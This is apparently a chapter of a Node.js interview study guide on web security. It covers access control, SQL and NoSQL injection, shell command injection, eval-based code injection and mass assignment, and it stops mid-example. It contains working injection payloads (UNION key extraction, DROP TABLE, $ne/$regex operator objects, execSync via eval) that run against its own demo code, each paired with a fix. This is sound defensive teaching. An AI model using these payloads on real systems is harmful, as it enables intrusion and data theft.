Node.js NotesRohit’s interview study guide
Chapter 09

Security

Protecting each boundary — injection of every kind, prototype pollution, XSS, CSRF, headers, CORS and rate limits.

14 topics
Parts marked Advanced are extra depth. Skip them on a first read or a quick revision.

#Trust boundaries and the OWASP Top 10

A trust boundary is any point where data or control passes from something you don't control into something you do: the internet into your load balancer, a request body into your SQL, a user's comment into another user's browser, a query string into a shell. Nearly every vulnerability in this chapter is the same mistake made at a different boundary: data from the untrusted side was treated as if it came from the trusted side — as SQL, as shell syntax, as JavaScript, as an object's prototype, as an admin flag, or as a request the user really meant to make.

A good mental model is airport security. There isn't one checkpoint; there are several, and each one checks a different thing. Your passport proves who you are (authentication). Your boarding pass says which flight you may board (authorisation). The bag scanner checks what you carry (input validation). Showing a valid passport doesn't let you onto any plane you like, and a clean bag doesn't prove who you are. Web security works the same way, and the classic interview mistake is to name one tool — "we use JWT", "we use Helmet" — as if it covered every checkpoint.

request-path.txt
Internet ─▶ edge / gateway ─▶ TLS ─▶ rate limits ─▶ Express
        ─▶ authentication (who?) ─▶ authorisation (may they, on THIS object?)
        ─▶ validation (is the input acceptable?) ─▶ business logic
        ─▶ safe interpreter APIs (SQL params, execFile, no eval) ─▶ response
        ─▶ browser controls (output encoding, CSP, cookies, CORS)
What’s happening
  1. Transport (TLS) stops people on the network from reading or changing traffic. It does nothing about what the authenticated client itself sends.
  2. Rate limits protect limited resources (CPU, password guesses, money) from volume. They don't care whether each request is well-formed.
  3. Authentication answers "who is this?" and authorisation answers "may they do this to this particular object?". They are separate checks; skipping the second is the most common real-world bug (below).
  4. Validation checks that a value is acceptable (type, length, range, allowed fields). Safe interpreter APIs make sure even an acceptable value can never become code — parameters, argument arrays, no eval. You need both, because they solve different problems.
  5. Browser controls run in someone else's browser, so the server can only ask for them with headers and cookie attributes. They protect your users from other websites and from injected script, not your server from clients like curl.
AdvancedReference: OWASP Top 10 in Node

The OWASP Top 10 is the industry's ranked list of the most common web-application risk categories. My notes said to know it; here is the current edition (2025) with the Node angle. Many prep guides still quote the 2021 numbering, where Injection was A03 and SSRF had its own entry (it is now folded into Broken Access Control), so say which edition you mean.

2025CategoryWhat it looks like in a Node serviceWhere
A01Broken Access ControlGET /users/100/orders works with user 42's token; SSRFbelow, Mass assignment
A02Security Misconfigurationstack traces in responses, cors({ origin: true, credentials: true }), default headersHelmet, CORS
A03Software Supply Chain Failuresa compromised or abandoned npm package, no lockfile, install scriptsChecklist
A04Cryptographic Failuresplain HTTP, weak password hashing, secrets in the repoHTTPS, bcrypt
A05InjectionSQL, NoSQL, shell, eval, XSSthe next four topics, XSS
A06Insecure Designa reset flow that can be brute-forced by design—
A07Authentication Failuresno lockout or rate limit on /login, long-lived tokensAuthentication chapter
A08Software or Data Integrity Failurestrusting unsigned data, prototype pollution via unsafe mergesPrototype pollution
A09Security Logging and Alerting Failuresno audit log of failed logins or admin actionsLogging
A10Mishandling of Exceptional Conditionserrors that fail open, leak internals or crash the processChecklist

Number one is access control, and it's the one no library fixes for you. A valid token for user 42 tells you who is calling; it says nothing about whether they may read user 100's orders.

idor.cjs
const express = require("express");
const request = require("supertest");

const orders = [
  { id: 1, userId: 42, item: "keyboard" },
  { id: 2, userId: 100, item: "monitor" },
];

const app = express();

// Authentication: who is calling? (stands in for verifying a JWT — see chapter 08)
app.use((req, res, next) => {
  const token = req.get("authorization");
  if (token === "Bearer token-for-42") req.user = { id: 42, role: "user" };
  else if (token === "Bearer token-for-admin") req.user = { id: 1, role: "admin" };
  else return res.status(401).json({ error: "not authenticated" });
  next();
});

// ❌ Authenticated, but never asks "may THIS user read THESE orders?"
app.get("/v1/users/:id/orders", (req, res) => {
  res.json(orders.filter((o) => o.userId === Number(req.params.id)));
});

// ✅ Authorisation: object ownership, checked on the server
app.get("/v2/users/:id/orders", (req, res) => {
  const ownerId = Number(req.params.id);
  if (req.user.id !== ownerId && req.user.role !== "admin") {
    return res.status(403).json({ error: "forbidden" });
  }
  res.json(orders.filter((o) => o.userId === ownerId));
});

(async () => {
  const as42 = (path) => request(app).get(path).set("Authorization", "Bearer token-for-42");
  let r = await request(app).get("/v1/users/100/orders");
  console.log(r.status, r.body); // 401 { error: 'not authenticated' }
  r = await as42("/v1/users/100/orders");
  console.log(r.status, r.body); // 200 [ { id: 2, userId: 100, item: 'monitor' } ]
  r = await as42("/v2/users/100/orders");
  console.log(r.status, r.body); // 403 { error: 'forbidden' }
  r = await as42("/v2/users/42/orders");
  console.log(r.status, r.body); // 200 [ { id: 1, userId: 42, item: 'keyboard' } ]
})();
What’s happening
  1. The first middleware is the authentication checkpoint. With no Authorization header it returns 401 and the route never runs — so the first request prints 401 { error: 'not authenticated' }. 401 means "I don't know who you are".
  2. The second request carries user 42's token, so req.user becomes { id: 42, role: "user" } and next() passes control to /v1/users/:id/orders with req.params.id === "100".
  3. The v1 handler filters by the id in the URL, which the caller chose. It never compares it with req.user.id, so user 42 gets user 100's monitor order: 200 [ { id: 2, … } ]. This is an IDOR (insecure direct object reference): just change the number in the URL.
  4. The v2 handler compares the owner in the URL with the identity the server verified: 42 !== 100 and the role isn't admin, so it returns 403 — "I know who you are, and the answer is no".
  5. Asking for their own orders (/v2/users/42/orders) passes the check and returns the keyboard. The check uses only server-side facts (req.user came from verifying the token), never a client-supplied role or isAdmin.
  6. Note that Number(req.params.id) matters: params are strings, and 42 !== "42" would lock users out of their own data. Some APIs return 404 instead of 403 so outsiders can't even confirm the resource exists.
Which control stops this?

An Express API has Helmet, a strict CORS allowlist, rate limiting and JWT authentication. User 42, with a valid token, sends DELETE /users/100 from curl. Which of those four controls stops the request?

Show answer

None of them. Only an authorisation check in the handler (or a policy layer) stops it.

What’s happening
  1. Helmet sets response headers that instruct browsers. curl ignores them, and they don't affect what the server does with the request anyway.
  2. CORS is enforced by browsers, deciding whether a page's JavaScript may read the response. curl isn't a browser and sends no Origin, so CORS never comes into play.
  3. Rate limiting counts requests. One delete request is well under any limit.
  4. JWT authentication succeeds — the token is valid and really belongs to user 42. That's exactly the problem: authentication answered "who", and nobody asked "may 42 delete 100?".
  5. The fix is the ownership/role check from the v2 route above, applied to every route that touches an object by id.

#SQL injection and parameterised queries

SQL injection happens when user input is pasted into the text of a SQL statement. The database receives one string and parses all of it as SQL, so it can't tell which characters you wrote and which the attacker wrote. If the input contains SQL syntax — OR, UNION, a quote, a comment -- — that syntax becomes part of your query's logic.

The mental model is a form letter. Interpolation is like letting the customer write directly onto the letter template: they can cross out "Dear" and write new instructions. A parameterised query is a template with a fixed blank: the database parses and compiles the SQL first, with a placeholder (?, $1, :name), and only then receives the value, which it stores in that slot as data. By the time the value arrives, parsing is over, so nothing in it can be syntax.

These examples use Node's built-in SQLite driver, node:sqlite (it loads on Node 26 with no flag), with an in-memory database, so they run anywhere.

sql-injection.cjs
const { DatabaseSync } = require("node:sqlite");

const db = new DatabaseSync(":memory:");
db.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT);
  INSERT INTO users (name, email) VALUES
    ('Rohit', 'rohit@example.test'),
    ('Neha',  'neha@example.test'),
    ('Romeo', 'romeo@example.test');
  CREATE TABLE api_keys (id INTEGER PRIMARY KEY, owner TEXT, secret TEXT);
  INSERT INTO api_keys (owner, secret) VALUES ('billing', 'sk_test_123');
`);

// ❌ Vulnerable: the input is pasted into the SQL text
function findUserUnsafe(userId) {
  const sql = `SELECT id, name, email FROM users WHERE id = ${userId}`;
  console.log(sql);
  return db.prepare(sql).all().map((row) => ({ ...row }));
}

console.log(findUserUnsafe("1"));
// SELECT id, name, email FROM users WHERE id = 1
// [ { id: 1, name: 'Rohit', email: 'rohit@example.test' } ]

console.log(findUserUnsafe("1 OR 1=1"));
// SELECT id, name, email FROM users WHERE id = 1 OR 1=1
// [ { id: 1, name: 'Rohit', … }, { id: 2, name: 'Neha', … }, { id: 3, name: 'Romeo', … } ]

console.log(findUserUnsafe("0 UNION SELECT id, owner, secret FROM api_keys"));
// SELECT id, name, email FROM users WHERE id = 0 UNION SELECT id, owner, secret FROM api_keys
// [ { id: 1, name: 'billing', email: 'sk_test_123' } ]
What’s happening
  1. With "1" the template literal builds ... WHERE id = 1, SQLite parses it, and the WHERE clause matches one row. Nothing looks wrong — which is why this bug survives code review and tests that only use normal input.
  2. With "1 OR 1=1" the built string is WHERE id = 1 OR 1=1. The parser sees an OR operator: for every row, id = 1 may be false but 1=1 is always true, so the condition is true for all three rows. This is the example from my notes, and it really does return everyone.
  3. With the UNION payload, id = 0 matches nothing in users, and UNION SELECT id, owner, secret FROM api_keys appends rows from a different table. Because the attacker picked three columns to match the original three, SQLite happily returns { name: 'billing', email: 'sk_test_123' } — the secret comes back in the field your code thinks is an email. Injection isn't limited to "see more rows of this table".
  4. The .map((row) => ({ ...row })) is only for display: node:sqlite returns rows as null-prototype objects, which console.log prints as [Object: null prototype] {…}.
  5. The root cause in every case is the template literal: by the time db.prepare(sql) sees the string, the data and the code are indistinguishable.
AdvancedFix: constant SQL with bound values

The fix is to keep the SQL text constant and pass values separately:

sql-safe.cjs
const { DatabaseSync } = require("node:sqlite");

const db = new DatabaseSync(":memory:");
db.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT);
  INSERT INTO users (name, email) VALUES
    ('Rohit', 'rohit@example.test'), ('Neha', 'neha@example.test'), ('Romeo', 'romeo@example.test');
`);

// ✅ The SQL text is fixed at prepare time; values are bound separately
const findUser = db.prepare("SELECT id, name FROM users WHERE id = ?");
const plain = (rows) => rows.map((row) => ({ ...row }));

console.log(plain(findUser.all("1")));                                               // [ { id: 1, name: 'Rohit' } ]
console.log(plain(findUser.all("1 OR 1=1")));                                        // []
console.log(plain(findUser.all("0 UNION SELECT id, owner, secret FROM api_keys")));  // []

// Named parameters work the same way
const byName = db.prepare("SELECT id, name FROM users WHERE name = :name");
console.log(plain(byName.all({ name: "Neha" })));          // [ { id: 2, name: 'Neha' } ]
console.log(plain(byName.all({ name: "x' OR '1'='1" })));  // []

console.log(findUser.sourceSQL); // SELECT id, name FROM users WHERE id = ?
What’s happening
  1. db.prepare(...) sends SQLite the text with a ? in it. SQLite parses and compiles it into a program right now — with one "parameter slot" where a value will go. sourceSQL shows the text never changes.
  2. findUser.all("1") binds the string "1" into the slot and runs the program. The id column has INTEGER affinity, so SQLite converts the text '1' to the number 1 for the comparison, and Rohit's row matches.
  3. findUser.all("1 OR 1=1") binds the whole 8-character string as one value. It doesn't look like a number, so it stays TEXT, and an INTEGER id never equals a TEXT value: zero rows. The OR is never seen by the parser — parsing finished in step 1.
  4. The UNION payload is the same: just a long string that no id equals. No second table is ever touched.
  5. The named version with "x' OR '1'='1" shows quotes don't matter either. In the unsafe version that input would build WHERE name = 'x' OR '1'='1' (I ran it: 2 rows). Bound as a parameter, it's searched for literally as a name.
  6. This is the code/data separation my notes describe. It's not that the driver "escapes quotes cleverly" — the value is never part of the SQL text at all.
AdvancedStacked queries: prepare vs exec

Two behaviours of the unsafe style are worth knowing, because they change how bad a bug is:

sql-stacked.cjs
const { DatabaseSync } = require("node:sqlite");

const db = new DatabaseSync(":memory:");
db.exec("CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT); INSERT INTO users (name) VALUES ('Rohit');");
const tableExists = () => db.prepare("SELECT count(*) AS n FROM sqlite_master WHERE name = 'users'").get().n === 1;

const input = "1; DROP TABLE users";

// prepare() compiles only the FIRST statement and ignores the rest
console.log(db.prepare(`SELECT name FROM users WHERE id = ${input}`).all().map((r) => r.name)); // [ 'Rohit' ]
console.log(tableExists()); // true

// exec() runs EVERY statement in the string
db.exec(`DELETE FROM users WHERE id = ${input}`);
console.log(tableExists()); // false
What’s happening
  1. The input "1; DROP TABLE users" tries a stacked query: end the intended statement with ; and start a new one.
  2. prepare() compiles one statement. SQLite stops at the first ; and node:sqlite ignores the leftover text, so only SELECT name FROM users WHERE id = 1 runs and the table survives.
  3. exec() is designed to run a script of many statements, so it runs DELETE ... WHERE id = 1 and then DROP TABLE users. The table is gone.
  4. Drivers differ here: some reject multiple statements by default (mysql2 needs multipleStatements: true), others allow them. Don't build your safety on that; the OR 1=1 and UNION attacks above work with single statements.
  5. The lesson: never interpolate input into anything, and never pass dynamic strings to a multi-statement API like exec.
AdvancedIdentifiers can't be placeholders

Placeholders only stand for values. They can't stand for a column name, a table name or a keyword such as ASC/DESC. That's where people fall back to interpolation — so map user input onto SQL fragments you wrote yourself:

sql-order.cjs
const { DatabaseSync } = require("node:sqlite");

const db = new DatabaseSync(":memory:");
db.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, created_at TEXT);
  INSERT INTO users (name, created_at) VALUES
    ('Rohit', '2026-03-01'), ('Neha', '2026-01-15'), ('Romeo', '2026-02-10');
`);

// ❌ A placeholder can't stand for a column name: this sorts by the constant string 'name'
const wrong = db.prepare("SELECT name FROM users ORDER BY ?");
console.log(wrong.all("name").map((r) => r.name)); // [ 'Rohit', 'Neha', 'Romeo' ]  (insertion order)

// ✅ Map user input onto developer-owned SQL fragments
const SORTS = new Map([
  ["name", "name"],
  ["created", "created_at"],
]);

function listUsers(sort, dir) {
  const column = SORTS.get(sort) ?? "created_at";
  const direction = dir === "desc" ? "DESC" : "ASC";
  const sql = `SELECT name FROM users ORDER BY ${column} ${direction}`;
  return db.prepare(sql).all().map((r) => r.name);
}

console.log(listUsers("name"));                           // [ 'Neha', 'Rohit', 'Romeo' ]
console.log(listUsers("created", "desc"));                // [ 'Rohit', 'Romeo', 'Neha' ]
console.log(listUsers("(SELECT secret FROM api_keys)"));  // [ 'Neha', 'Romeo', 'Rohit' ]  (fell back to created_at)
What’s happening
  1. ORDER BY ? is legal SQL, but the bound value 'name' is a string constant, not the column name. Every row sorts by the same constant, so you get the rows in whatever order SQLite reads them — insertion order. No error, just a silently broken feature, which is what tempts people to interpolate.
  2. SORTS is a Map from public names to real column names. The interpolated column can only ever be one of the strings in the right-hand column, which you wrote. User input selects an entry; it never becomes SQL.
  3. direction works the same way: the only possible outputs are the literals "DESC" and "ASC".
  4. listUsers("name") → ORDER BY name ASC → Neha, Rohit, Romeo. listUsers("created", "desc") → ORDER BY created_at DESC → March, February, January.
  5. A subquery payload isn't in the map, so SORTS.get returns undefined and ?? falls back to created_at. Using a Map (not a plain object) also means keys like "constructor" or "__proto__" can't return something inherited.
AdvancedCorrecting my notes: what parameters protect
AdvancedPlaceholders in pg, mysql2 and ORMs

Where this shows up in real Node code:

  • pg uses numbered placeholders: pool.query("SELECT * FROM users WHERE id = $1", [id]).
  • mysql2 uses ?: conn.execute("SELECT * FROM users WHERE id = ?", [id]) sends a real prepared statement; conn.query(sql, values) substitutes escaped values on the client — still safe for values, but different under the hood.
  • ORMs and query builders parameterise their normal methods, but every one has a raw escape hatch. Prisma's tagged template $queryRaw`... ${id}` is parameterised; $queryRawUnsafe(string) is not.
AdvancedEdge case: LIKE wildcards in values

#NoSQL injection

"NoSQL" doesn't mean "no injection". MongoDB-style databases don't parse a query string — they take a query object — so the attack is different: instead of smuggling syntax into a string, the attacker smuggles an operator object where you expected a plain value. { password: "hunter2" } means "equals hunter2", but { password: { $ne: null } } means "is not null", which is true for every user.

The way in is the JSON body. express.json() turns {"token": {"$ne": null}} into a real nested object, so req.body.token is an object, not a string. (In Express 5, the default query-string parser is the "simple" one, so ?token[$ne]=x produces a key literally named "token[$ne]". If you switch on app.set("query parser", "extended"), the qs library turns that into { token: { $ne: "x" } } — I checked both with supertest.)

To show it without a database server, here is a tiny stand-in for findOne that understands plain equality plus a few Mongo operators:

nosql-injection.cjs
const express = require("express");
const request = require("supertest");

// A tiny stand-in for MongoDB's findOne: equality, plus a few operators
const OPS = {
  $eq: (field, v) => field === v,
  $ne: (field, v) => field !== v,
  $gt: (field, v) => field > v,
  $regex: (field, v) => new RegExp(v).test(field),
};
function matches(doc, filter) {
  return Object.entries(filter).every(([key, cond]) => {
    if (cond !== null && typeof cond === "object") {
      return Object.entries(cond).every(([op, v]) => OPS[op](doc[key], v)); // operator object
    }
    return doc[key] === cond; // plain value = equality
  });
}
const users = [
  { username: "admin", resetToken: "7f3a9c" },
  { username: "neha", resetToken: "b81e02" },
];
const findOne = (filter) => users.find((u) => matches(u, filter)) ?? null;

const app = express();
app.use(express.json());

// ❌ Password reset: "if you know the token, you get the account"
app.post("/reset", (req, res) => {
  const user = findOne({ username: req.body.username, resetToken: req.body.token });
  if (!user) return res.status(401).json({ error: "invalid token" });
  res.json({ resetting: user.username });
});

(async () => {
  let r = await request(app).post("/reset").send({ username: "admin", token: "guess" });
  console.log(r.status, r.body); // 401 { error: 'invalid token' }
  r = await request(app).post("/reset").send({ username: "admin", token: { $ne: null } });
  console.log(r.status, r.body); // 200 { resetting: 'admin' }
  r = await request(app).post("/reset").send({ username: "admin", token: { $regex: "^7" } });
  console.log(r.status, r.body); // 200 { resetting: 'admin' }
})();
What’s happening
  1. matches follows Mongo's rule: if a filter value is a plain value, compare for equality; if it's an object, treat its keys as operators. That rule is the whole vulnerability — the type of the input decides whether it's data or an instruction.
  2. The honest request sends token: "guess". The filter is { username: "admin", resetToken: "guess" }, "7f3a9c" === "guess" is false, so 401.
  3. The attacker sends JSON {"username":"admin","token":{"$ne":null}}. express.json() parses it into a nested object, and the handler drops it straight into the filter: { username: "admin", resetToken: { $ne: null } }. Admin's token "7f3a9c" !== null is true, so the reset goes through without knowing the token.
  4. $regex: "^7" is worse in a quieter way: the attacker learns that admin's token starts with 7. Repeating with ^7f, ^7f3… extracts the secret one character at a time — blind injection.
  5. Nothing here involved strings or quotes. The bug is that a value which should only ever be a string was allowed to be an object.
AdvancedFix: type checks and server-built queries

The fix is to make sure values are the type you expect, and to build the query structure yourself:

nosql-fixed.cjs
// (same requires, OPS, matches, users, findOne and app setup as above)

app.post("/reset", (req, res) => {
  const { username, token } = req.body;
  if (typeof username !== "string" || typeof token !== "string") {
    return res.status(400).json({ error: "username and token must be strings" });
  }
  const user = findOne({ username: { $eq: username }, resetToken: { $eq: token } });
  if (!user) return res.status(401).json({ error: "invalid token" });
  res.json({ resetting: user.username });
});

// { username: "admin", token: { $ne: null } } → 400 { error: 'username and token must be strings' }
// { username: "admin", token: "7f3a9c" }      → 200 { resetting: 'admin' }
// findOne({ username: { $eq: "admin" }, resetToken: { $eq: { $ne: null } } }) → null
What’s happening
  1. The typeof checks run first. The operator object fails typeof token !== "string", so the request gets 400 before any query is built. This is the main fix: validate types at the boundary (express-validator's body("token").isString() does the same).
  2. With a real string token, the filter is built from your own structure, { resetToken: { $eq: token } }. The client chose a value; you chose the operator.
  3. $eq is defence in depth: even if a later refactor drops the type check, { $eq: { $ne: null } } means "equals the literal object { $ne: null }", which no token does — the last line returns null.
  4. In the real driver this is users.findOne({ username: { $eq: username }, resetToken: { $eq: token } }). Mongoose can do the wrapping for you with its sanitizeFilter option.
  5. A production reset flow would also store only a hash of the reset token, expire it, and compare in constant time — injection-proofing the query is just one layer.
AdvancedPitfall: read-only req.query in Express 5
AdvancedFrom NoSQL to code injection: $where

Mongo also has operators that run JavaScript on the server ($where, $function). If user input ever reaches them, NoSQL injection becomes code injection. Never build those from request data.

Is this login safe?
JavaScript
app.post("/login", async (req, res) => {
  const user = await users.findOne({ email: String(req.body.email) });
  if (!user || !(await bcrypt.compare(String(req.body.password), user.passwordHash))) {
    return res.status(401).end();
  }
  res.json({ ok: true });
});
Show answer

Yes, against NoSQL injection — and the shape is better than the classic vulnerable example in two ways.

What’s happening
  1. String(req.body.email) forces the value to a string. An operator object becomes the useless text "[object Object]", which matches no email, so { $ne: null } can't widen the query.
  2. The password is never part of the query. The code fetches by an identifier, then checks the password against a stored hash with bcrypt.compare (see Hashing passwords with bcrypt). The textbook vulnerable login, findOne({ user, password }), is also wrong because it implies plain-text passwords in the database.
  3. Two improvements remain: reject non-strings with 400 instead of coercing (clearer errors, cleaner logs), and add a rate limit to /login so the endpoint can't be used for password guessing.

#Command injection and child processes

child_process.exec(command) doesn't run a program — it runs a shell (/bin/sh -c "<command>" on Unix, cmd.exe on Windows) and hands it your string. The shell then interprets everything in that string: ; and && chain commands, | pipes, $(...) and backticks substitute, > redirects. If any part of the string came from a user, they can add their own commands, which run with your server's privileges. My notes flagged this as "important…injection with EXEC", and it is.

The mental model: exec is like phoning someone and reading a sentence aloud for them to act on — punctuation in the sentence changes what they do. execFile and spawn (without shell: true) are like handing over a form with separate boxes: the program name in one box, each argument in its own box. Whatever is written in a box stays in that box.

cmd-unsafe.cjs
const { exec } = require("node:child_process");

// ❌ Builds one string and hands it to /bin/sh
function countBytes(filename, cb) {
  const command = `wc -c files/${filename}`;
  console.log("sh -c:", command);
  exec(command, (err, stdout) => cb(err, stdout));
}

countBytes("notes.txt", (err, out) => {
  console.log(out);
  countBytes("notes.txt; echo INJECTED", (err, out) => console.log(out));
});
AdvancedOutput: the injected shell command runs
Output (macOS)
sh -c: wc -c files/notes.txt
      12 files/notes.txt

sh -c: wc -c files/notes.txt; echo INJECTED
      12 files/notes.txt
INJECTED
What’s happening
  1. With "notes.txt" the command string is wc -c files/notes.txt. exec starts /bin/sh -c with that string; the shell runs wc, which prints the byte count (12 — "hello world" plus a newline; macOS wc pads with spaces).
  2. With "notes.txt; echo INJECTED" the string becomes wc -c files/notes.txt; echo INJECTED. The shell treats ; as "end of command, start another", so it runs wc and then echo INJECTED. Both outputs land in stdout.
  3. echo INJECTED is a harmless stand-in. A real attacker would use curl … | sh, read environment variables full of secrets, or open a reverse shell — anything the server's user account can do.
  4. Quoting the filename in the template ('files/${filename}') isn't a fix: the attacker just includes a ' to close your quote. Escaping shell syntax correctly for every shell is exactly the kind of thing you don't want to rely on.
AdvancedFix: execFile without a shell
cmd-safe.cjs
const { execFile } = require("node:child_process");

// ✅ No shell: the program gets an argv array
function countBytes(filename, cb) {
  execFile("wc", ["-c", `files/${filename}`], (err, stdout) => cb(err, stdout));
}

countBytes("notes.txt", (err, out) => {
  console.log(out); //       12 files/notes.txt
  countBytes("notes.txt; echo INJECTED", (err, out) => console.log(err.code, err.message));
  // 1 Command failed: wc -c files/notes.txt; echo INJECTED
  // wc: files/notes.txt; echo INJECTED: open: No such file or directory
});
What’s happening
  1. execFile("wc", [...]) asks the operating system to start the wc program directly with an argument array: argv = ["wc", "-c", "files/notes.txt; echo INJECTED"]. No shell is involved, so nobody ever interprets ;.
  2. wc receives the whole string as one filename, tries to open a file literally called notes.txt; echo INJECTED, fails, and exits with code 1. INJECTED is never printed.
  3. Don't be fooled by err.message: Node builds "Command failed: wc -c files/notes.txt; echo INJECTED" by joining the arguments with spaces purely for display. It's not what ran.
  4. spawn("wc", ["-c", file]) is the same safe shape with streaming output. spawn(..., { shell: true }) or exec would bring the shell — and the bug — back.
  5. The best fix here is not to spawn anything: (await fs.promises.stat(path)).size gives the byte count with no process, no shell and no parsing of wc's output. Prefer a Node API or a library over shelling out whenever one exists.
AdvancedArgument injection via leading dashes

Avoiding the shell stops shell syntax, but the target program still parses its own arguments. If input can start with -, it can become an option:

cmd-args.cjs
const { execFileSync } = require("node:child_process");

const opts = { cwd: __dirname, encoding: "utf8", stdio: "pipe" };
const list = (dir) => execFileSync("ls", [dir], opts);
const listSafe = (dir) => execFileSync("ls", ["--", dir], opts);

console.log(JSON.stringify(list("files")));          // "notes.txt\n"
console.log(JSON.stringify(list("-a")).slice(0, 12)); // ".\n..\ncmd-  ← the cwd, hidden entries included
try {
  listSafe("-a");
} catch (err) {
  console.log(err.stderr.trim()); // ls: -a: No such file or directory
}
What’s happening
  1. list("files") runs ls files and prints the one file in that folder.
  2. list("-a") runs ls -a. There's no shell, but ls itself sees -a and treats it as the "show hidden files" option, listing the current directory instead of a user folder. With other programs this is how argument injection does real damage (for example git or tar options that run commands).
  3. listSafe puts -- first. By convention -- means "end of options; everything after this is a plain argument", so ls looks for a directory literally named -a and fails. (macOS ls prints ls: -a: No such file or directory; GNU ls says cannot access '-a'.)
  4. The complete fix is still validation: allow only the shape you expect (for a filename, something like /^[\w.-]+$/, and resolve the path to check it stays inside the intended folder), and allowlist any options a user may choose.
AdvancedSummary: safe child-process rules

#Code injection: eval and new Function

eval(string) hands a string to the JavaScript engine to parse and run as code, inside your process, with all of its power: the file system, the network, environment variables, child processes. If any part of that string came from a request, the attacker isn't sending data any more — they're writing your server's code. This is remote code execution, the worst outcome on any list.

Mental model: every other injection in this chapter targets some interpreter you call (SQL, a shell). With eval, the interpreter is the one running your server. There's no "least privilege" left between the attacker and everything your process can do.

eval-demo.cjs
const express = require("express");
const request = require("supertest");

const DB_PASSWORD = "test-only-password"; // a local variable in this module

const app = express();

// ❌ A "calculator" endpoint
app.get("/calc", (req, res) => {
  const result = eval(req.query.expr);
  res.json({ result: String(result) });
});

(async () => {
  const ask = async (expr) => (await request(app).get("/calc").query({ expr })).body;

  console.log(await ask("2 + 2"));             // { result: '4' }
  console.log(await ask("DB_PASSWORD"));       // { result: 'test-only-password' }
  console.log(await ask("process.version"));   // { result: 'v26.7.0' }
  console.log(await ask("require('node:child_process').execSync('echo INJECTED').toString()"));
  // { result: 'INJECTED\n' }
})();
What’s happening
  1. "2 + 2" is what the feature was built for: eval parses it as an expression and returns 4. It works perfectly for honest users, which is why it ships.
  2. "DB_PASSWORD" is a direct eval: called as plain eval(...), it runs in the scope where it's written, so it can see every local variable in scope — including the module-level DB_PASSWORD. The response leaks it.
  3. "process.version" reaches the global process object: the attacker can read process.env (where most real secrets live), exit the process, and so on.
  4. The last payload uses require — which is visible because this is a CommonJS module and require is a parameter of the module wrapper function the eval sits inside — to load child_process and run a shell command. INJECTED coming back means the attacker can run any command on the host.
  5. The feature only ever needed numbers and four operators. eval accepted the whole JavaScript language.
Advancednew Function is no safer than eval

My notes call new Function "brother to eval". It's slightly less powerful — but not in a way that makes it safe:

function-demo.cjs
const DB_PASSWORD = "test-only-password";

const calc = (expr) => new Function(`return (${expr});`)();

console.log(calc("2 + 2"));          // 4
try { calc("DB_PASSWORD"); } catch (e) { console.log(e.name + ": " + e.message); }
// ReferenceError: DB_PASSWORD is not defined
try { calc("require('node:os')"); } catch (e) { console.log(e.name + ": " + e.message); }
// ReferenceError: require is not defined
console.log(calc("process.getBuiltinModule('node:child_process').execSync('echo INJECTED').toString()"));
// INJECTED
What’s happening
  1. new Function(body) compiles body as a brand-new function whose scope is the global scope, not the place it was created. So DB_PASSWORD (a module-level const) and require (a module-wrapper parameter) are not visible: both throw ReferenceError.
  2. That's the real difference from direct eval: no access to local variables. It's why new Function is sometimes used by template engines — but those control the source text themselves.
  3. Globals are still visible, and process is a global. process.getBuiltinModule('node:child_process') loads a core module without require (it exists in current Node versions, including 26), so the attacker gets command execution anyway.
  4. Conclusion: new Function limits scope, not capability. Anything that turns untrusted text into code — eval, new Function, vm.runInThisContext, string arguments to setTimeout in browsers — is code injection.
AdvancedFix: mapping choices to your own code

The fix is to never turn input into code. Decide what the user may choose, and map their choice onto code you wrote:

safe-calc.cjs
const operations = {
  add: (a, b) => a + b,
  subtract: (a, b) => a - b,
  multiply: (a, b) => a * b,
};

function calculate({ op, a, b }) {
  if (!Object.hasOwn(operations, op)) throw new Error(`Unsupported operation: ${op}`);
  if (!Number.isFinite(a) || !Number.isFinite(b)) throw new Error("a and b must be numbers");
  return operations[op](a, b);
}

console.log(calculate({ op: "add", a: 2, b: 2 }));            // 4
try { calculate({ op: "constructor", a: 1, b: 2 }); } catch (e) { console.log(e.message); }
// Unsupported operation: constructor
try { calculate({ op: "add", a: "process.exit()", b: 1 }); } catch (e) { console.log(e.message); }
// a and b must be numbers
console.log(typeof operations["constructor"]);                // function  ← why hasOwn matters
What’s happening
  1. The user's op is a key, not code. The only functions that can run are the three you wrote.
  2. Object.hasOwn(operations, op) is important. A plain operations[op] lookup with op = "constructor" finds the inherited Object constructor (the last line prints function), and "toString", "__proto__" etc. also resolve to something. hasOwn accepts only keys you defined. A Map would work too.
  3. Number.isFinite rejects anything that isn't a real number, so "process.exit()" is just an invalid input — it's never parsed, so it can't run.
  4. If you need a genuine expression language (spreadsheet formulas, pricing rules), use a library with a small, purpose-built grammar that produces values, not JavaScript. For JSON, use JSON.parse, never eval.
AdvancedPitfall: trusting vm as a sandbox
AdvancedRuntime guards against code generation

Two runtime guards are useful extra layers:

  • node --disallow-code-generation-from-strings makes eval and new Function throw EvalError: Code generation from strings disallowed for this context (verified; JSON.parse still works). Turn it on if your dependencies don't need code generation — some template engines and serialisers do, so test.
  • In Node, setTimeout("code", 0) throws ERR_INVALID_ARG_TYPE — the callback must be a function — so the browser's "string timer is an eval" trap doesn't exist on the server.

#Mass assignment

Added

Mass assignment is a bug with no injected syntax at all. The server copies the whole request body onto a model — { ...req.body }, Object.assign(user, req.body), User.create(req.body) — and the client simply adds fields you never meant to accept: role: "admin", emailVerified: true, balance: 1e9, or someone else's id. Each field is valid JSON, and validation of the fields you expected passes. The problem is the fields you didn't think about.

The mental model: a form with "Name" and "Email" boxes, where the clerk types everything written on the paper into the database, including the line someone added at the bottom saying "Role: admin". The fix is a clerk who copies only the boxes on the form. (OWASP's API list files this under broken object property level authorisation: the user may update the object, but not every property of it.)

mass-assignment.cjs
const express = require("express");
const request = require("supertest");

const users = new Map();
let nextId = 1;

const app = express();
app.use(express.json());

// ❌ Whatever the client sends becomes the stored user
app.post("/signup", (req, res) => {
  const user = { id: nextId++, role: "user", ...req.body };
  users.set(user.id, user);
  res.status(201).json(user);
});

// ❌ Same bug on update
app.patch("/users/:id", (req, res) => {
  const user = users.get(Number(req.params.id));
  Object.assign(user, req.body);
  res.json(user);
});

(async () => {
  let r = await request(app).post("/signup").send({ email: "neha@example.test", name: "Neha" });
